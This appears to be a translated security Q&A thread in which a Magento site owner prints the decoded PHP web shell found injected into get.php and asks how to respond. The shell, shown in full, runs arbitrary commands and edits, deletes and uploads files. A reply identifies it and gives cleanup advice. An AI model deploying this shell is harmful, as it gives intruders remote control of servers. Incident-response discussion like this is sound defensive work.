Sitio pirateado - ¿A dónde ir desde aquí? [cerrado]

1

Nuestro sitio de comercio electrónico basado en magento fue pirateado durante el fin de semana, los hackers lograron acceder a los archivos de magento e incrustar un código codificado en el archivo get.php en el directorio raíz.

Logré descifrar el código usando este recurso:

enlace

Lo que me dio esto:

if(isset($_GET['cwd'])){
print '<title>. .:: InjectionByME! ::. .</title>';
print '<body text="grey" bgcolor="black">';
print ' <hr><hr>';
print ' <p> <font face="comic sans MS" style="font-size: 10pt">';
print' </p>';
print '<div align="left">';
print '<b>';
set_magic_quotes_runtime(0);
$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];
$currentWD  = str_replace("\\","\",$_POST['_cwd']);
$currentCMD = str_replace("\\","\",$_POST['_cmd']);

$UName  = 'uname -a';
$SCWD   = 'pwd';
$UserID = 'id';

if( $currentWD == "" ) {
    $currentWD = $SCWD;
}

if( $_POST['_act'] == "List files!" ) {
    $currentCMD = "ls -la";
}


print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";

print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";

print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
print "<tr><td><b>Edit File:</b></td><td><table width=\"100%\" border=\"0\"><form method=\"post\" action=\"".$scriptname."\"><input name=\"filename\" type=\"text\" value=\"".$filename."\" size=\"100\"></td>";
print "<tr><td><input type=\"submit\" name=\"submit\" value=\"Open\"><input type=\"submit\" name=\"submit\" value=\"Delete\"></td></tr></table>";
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
print "</div>";
print "</font>";
print "</form>";
print "</td></tr></table>";
if (isset($_POST["filename"])){
$filecontents = htmlentities(file_get_contents($filename));
$filecontent = stripslashes(html_entity_decode($_POST["contents"]));

echo "<tr><td><font face=\"Verdana\" style=\"font-size: 11pt\"><textarea name=\"contents\" cols=\"53\" rows=\"8\">".$filecontents."</textarea></font><br><input type=\"submit\" name=\"submit\" value=\"Save\"><input type=\"reset\" value=\"Reset\">";

if($_POST["submit"] == "Open")
{
    if(file_exists($filename))
    {

        if(!$filecontents)
            $status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}       
else if($_POST["submit"] == "Delete")
{
    if(file_exists($filename))
    {
        if(unlink($filename))   
            $status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>";
        else
            $status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}
else if($_POST["submit"] == "Save")
{

    if(file_exists($filename))
        unlink($filename);

    $handle = fopen($filename, "w");

    if(!$handle)
        $status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>";
    else
    {
        if(!fwrite($handle, $filecontent))
            $status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>";

        fclose($handle);
    }

    $filecontent = htmlentities($filecontent);
}
print "</table></form><hr><hr>";
}
$currentCMD = str_replace("\\"","\"",$currentCMD);
$currentCMD = str_replace("\\'","\'",$currentCMD);

if( $_POST['_act'] == "Upload!" ) {
    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
        print "<center><b>Error while uploading file!</b></center>";
    } else {
        print "<center><pre>";
        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        print "</pre><b>File uploaded successfully!</b></center>";
    }   
} else {
    print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
    $currentCMD = "cd ".$currentWD.";".$currentCMD;
  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
    print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
}

exit;}</pre>

Eliminé el código de get.php, y el sitio está de vuelta, pero realmente no tengo el conocimiento de la experiencia para saber dónde ir desde aquí con respecto a:

  1. ¿Sabes para qué sirve el truco anterior?
  2. Inspección adicional de otros archivos magento para buscar hacks adicionales
  3. Medida preventiva para defenderse de nuevos ataques (aparte de una pequeña actualización de la versión de Magento, una vez que estoy seguro de que los archivos están limpios)

Apreciaría cualquier información que pueda ofrecer al respecto, también consideraría contratar a alguien que pueda analizar los archivos y evitar nuevos ataques.

Gracias de antemano.

    
pregunta Simon Tunnard 10.06.2013 - 10:59
fuente

1 respuesta

4
  • 1) El hack que tiene allí habilita un shell remoto que le da a los atacantes web acceso similar a un shell local, la principal diferencia es que está limitado en lo que puede hacer y solo se ejecuta con los permisos asignados al servidor web.

  • 2) Busque un código similar en otros archivos, revise sus registros de acceso para ver qué otra cosa puede haber accedido con la misma dirección IP, si está particularmente preocupado, vuelva a una copia de seguridad anterior (previamente pirateada) y actualización / parche desde allí

  • 3) Consulte este hilo y este artículo part 2 para algunas guías generales,

Tendrá que definir mejor su entorno y hacer preguntas específicas para obtener una respuesta más útil.

Siempre es una buena idea consultar a un profesional para que lo asesore, una vez que haya endurecido su instalación, es posible que también desee considerar realizar una prueba de penetración.

Espero que ayude!

    
respondido por el NULLZ 10.06.2013 - 11:27
fuente

Lea otras preguntas en las etiquetas